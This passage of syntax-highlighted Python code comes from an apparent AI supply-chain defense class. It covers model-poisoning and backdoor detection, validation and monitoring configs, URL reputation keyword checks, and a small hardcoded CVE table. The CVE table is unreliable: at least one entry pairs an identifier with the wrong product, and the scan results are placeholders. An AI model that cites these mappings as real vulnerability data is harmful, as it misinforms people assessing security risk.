                <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">label_distribution_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">label_analysis</span>
        
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error in statistical poisoning analysis: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">analysis_results</span>
    
    <span class="k">def</span> <span class="nf">_perform_behavioral_poisoning_analysis</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Perform behavioral analysis to detect model poisoning</span><span class="sh">"""</span>
        
        <span class="n">analysis_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">performance_degradation</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">decision_boundary_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">adversarial_robustness</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">gradient_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Model performance analysis
</span>            <span class="n">performance_metrics</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_model_performance_anomalies</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">performance_degradation</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">performance_metrics</span>
            
            <span class="c1"># Decision boundary analysis
</span>            <span class="n">boundary_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_decision_boundaries</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">decision_boundary_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">boundary_analysis</span>
            
            <span class="c1"># Adversarial robustness testing
</span>            <span class="n">robustness_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_test_adversarial_robustness</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">adversarial_robustness</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">robustness_results</span>
            
            <span class="c1"># Gradient analysis for backdoor detection
</span>            <span class="n">gradient_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_model_gradients</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">gradient_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">gradient_analysis</span>
        
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error in behavioral poisoning analysis: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">analysis_results</span>
    
    <span class="k">def</span> <span class="nf">_perform_backdoor_detection</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Perform specific backdoor detection techniques</span><span class="sh">"""</span>
        
        <span class="n">detection_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">trigger_detection</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">neuron_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">activation_pattern_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">reverse_engineering_attempts</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Trigger detection using various techniques
</span>            <span class="n">trigger_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_detect_backdoor_triggers</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">trigger_detection</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">trigger_results</span>
            
            <span class="c1"># Neuron activation analysis
</span>            <span class="n">neuron_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_neuron_activations</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">neuron_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">neuron_analysis</span>
            
            <span class="c1"># Activation pattern analysis
</span>            <span class="n">pattern_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_activation_patterns</span><span class="p">(</span><span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">)</span>
            <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">activation_pattern_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">pattern_analysis</span>
            
            <span class="c1"># Reverse engineering attempts
</span>            <span class="n">reverse_engineering</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_attempt_backdoor_reverse_engineering</span><span class="p">(</span><span class="n">model_config</span><span class="p">)</span>
            <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">reverse_engineering_attempts</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">reverse_engineering</span>
        
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error in backdoor detection: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">detection_results</span>
    
    <span class="k">def</span> <span class="nf">implement_automated_defense_system</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement automated defense system for AI supply chain</span><span class="sh">"""</span>
        
        <span class="n">defense_system_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">ai-supply-chain-defense-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="n">defense_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">system_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">defense_system_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">defense_layers</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">input_validation</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_configure_input_validation_defense</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">model_validation</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_configure_model_validation_defense</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">runtime_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_configure_runtime_monitoring_defense</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">anomaly_detection</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_configure_anomaly_detection_defense</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">incident_response</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_configure_incident_response_defense</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">)</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">monitoring_endpoints</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">alert_configurations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">automated_responses</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Deploy defense components
</span>        <span class="k">for</span> <span class="n">layer_name</span><span class="p">,</span> <span class="n">layer_config</span> <span class="ow">in</span> <span class="n">defense_config</span><span class="p">[</span><span class="sh">'</span><span class="s">defense_layers</span><span class="sh">'</span><span class="p">].</span><span class="nf">items</span><span class="p">():</span>
            <span class="n">deployment_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_deploy_defense_layer</span><span class="p">(</span><span class="n">layer_name</span><span class="p">,</span> <span class="n">layer_config</span><span class="p">)</span>
            <span class="n">defense_config</span><span class="p">[</span><span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">layer_name</span><span class="si">}</span><span class="s">_deployment</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">deployment_result</span>
        
        <span class="k">return</span> <span class="n">defense_config</span>
    
    <span class="k">def</span> <span class="nf">_configure_input_validation_defense</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Configure input validation defense layer</span><span class="sh">"""</span>
        
        <span class="n">validation_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">data_validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">model_validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">container_validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">api_validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Data validation rules
</span>        <span class="n">validation_config</span><span class="p">[</span><span class="sh">'</span><span class="s">data_validation_rules</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">schema_validation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">enforce_schema</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">reject_unknown_fields</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">validate_data_types</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">statistical_validation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">outlier_threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">3.0</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">distribution_check</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">correlation_check</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">integrity_validation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">checksum_verification</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">digital_signature_check</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">provenance_verification</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">]</span>
        
        <span class="c1"># Model validation rules
</span>        <span class="n">validation_config</span><span class="p">[</span><span class="sh">'</span><span class="s">model_validation_rules</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">model_signature_validation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">require_digital_signature</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">trusted_signers_only</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">signature_algorithm</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RSA-SHA256</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">model_performance_validation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">minimum_accuracy_threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.85</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">maximum_performance_deviation</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.05</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">benchmark_dataset_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">rule_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">model_backdoor_scanning</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">parameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">scan_for_triggers</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">analyze_activation_patterns</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">gradient_analysis_enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">]</span>
        
        <span class="k">return</span> <span class="n">validation_config</span>
    
    <span class="k">def</span> <span class="nf">_configure_runtime_monitoring_defense</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Configure runtime monitoring defense layer</span><span class="sh">"""</span>
        
        <span class="n">monitoring_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">inference_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">monitor_input_distribution</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">monitor_output_patterns</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">detect_adversarial_inputs</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">performance_tracking</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">model_behavior_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">track_decision_boundaries</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">monitor_confidence_scores</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">detect_model_drift</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">alert_on_anomalies</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">security_event_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">monitor_api_abuse</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">detect_data_exfiltration</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">track_access_patterns</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">correlate_security_events</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">monitoring_config</span>
    
    <span class="c1"># Helper methods for threat intelligence and validation
</span>    <span class="k">def</span> <span class="nf">_load_threat_intelligence</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Load threat intelligence for AI supply chain threats</span><span class="sh">"""</span>
        
        <span class="c1"># In production, load from external threat intelligence feeds
</span>        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">malicious_model_signatures</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">known_backdoor_patterns</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">suspicious_data_sources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">compromised_frameworks</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">malicious_container_images</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_evaluate_data_source_reputation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">source_url</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Evaluate reputation score for data source (0-100, higher is riskier)</span><span class="sh">"""</span>
        
        <span class="c1"># Simplified reputation scoring - in production, use comprehensive threat intelligence
</span>        <span class="n">risk_indicators</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">tor</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">source_url</span><span class="p">.</span><span class="nf">lower</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">darkweb</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">source_url</span><span class="p">.</span><span class="nf">lower</span><span class="p">(),</span>
            <span class="nf">any</span><span class="p">(</span><span class="n">domain</span> <span class="ow">in</span> <span class="n">source_url</span> <span class="k">for</span> <span class="n">domain</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">bit.ly</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">tinyurl.com</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">goo.gl</span><span class="sh">'</span><span class="p">]),</span>
            <span class="ow">not</span> <span class="n">source_url</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">https://</span><span class="sh">'</span><span class="p">),</span>
            <span class="nf">any</span><span class="p">(</span><span class="n">keyword</span> <span class="ow">in</span> <span class="n">source_url</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="k">for</span> <span class="n">keyword</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">hack</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">crack</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">leak</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dump</span><span class="sh">'</span><span class="p">])</span>
        <span class="p">]</span>
        
        <span class="k">return</span> <span class="nf">sum</span><span class="p">(</span><span class="n">risk_indicators</span><span class="p">)</span> <span class="o">*</span> <span class="mi">20</span>  <span class="c1"># 0-100 scale
</span>    
    <span class="k">def</span> <span class="nf">_evaluate_model_source_reputation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_source</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Evaluate reputation score for model source</span><span class="sh">"""</span>
        
        <span class="n">trusted_sources</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">huggingface.co</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">github.com</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">pytorch.org</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">tensorflow.org</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">aws.amazon.com</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">cloud.google.com</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">azure.microsoft.com</span><span class="sh">'</span>
        <span class="p">]</span>
        
        <span class="k">if</span> <span class="nf">any</span><span class="p">(</span><span class="n">trusted</span> <span class="ow">in</span> <span class="n">model_source</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="k">for</span> <span class="n">trusted</span> <span class="ow">in</span> <span class="n">trusted_sources</span><span class="p">):</span>
            <span class="k">return</span> <span class="mi">10</span>  <span class="c1"># Low risk for trusted sources
</span>        
        <span class="k">return</span> <span class="mi">60</span>  <span class="c1"># Higher risk for unknown sources
</span>    
    <span class="k">def</span> <span class="nf">_check_framework_cves</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">framework_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">framework_version</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Check for known CVEs in ML frameworks</span><span class="sh">"""</span>
        
        <span class="c1"># Simplified CVE checking - in production, integrate with CVE databases
</span>        <span class="n">known_cves</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">tensorflow</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">2.8.0</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span><span class="sh">'</span><span class="s">cve_id</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CVE-2022-23588</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">TensorFlow vulnerable to code injection</span><span class="sh">'</span><span class="p">}</span>
                <span class="p">]</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">pytorch</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">1.10.0</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span><span class="sh">'</span><span class="s">cve_id</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CVE-2022-0435</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PyTorch vulnerable to arbitrary code execution</span><span class="sh">'</span><span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">known_cves</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">framework_name</span><span class="p">.</span><span class="nf">lower</span><span class="p">(),</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="n">framework_version</span><span class="p">,</span> <span class="p">[])</span>
    
    <span class="k">def</span> <span class="nf">_scan_container_image</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">image_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Scan container image for vulnerabilities</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Use Amazon ECR scanning or integrate with container scanning tools
</span>            <span class="n">scan_results</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">image_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">image_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">scan_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
                <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">package</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">openssl</span><span class="sh">'</span><span class="p">,</span>
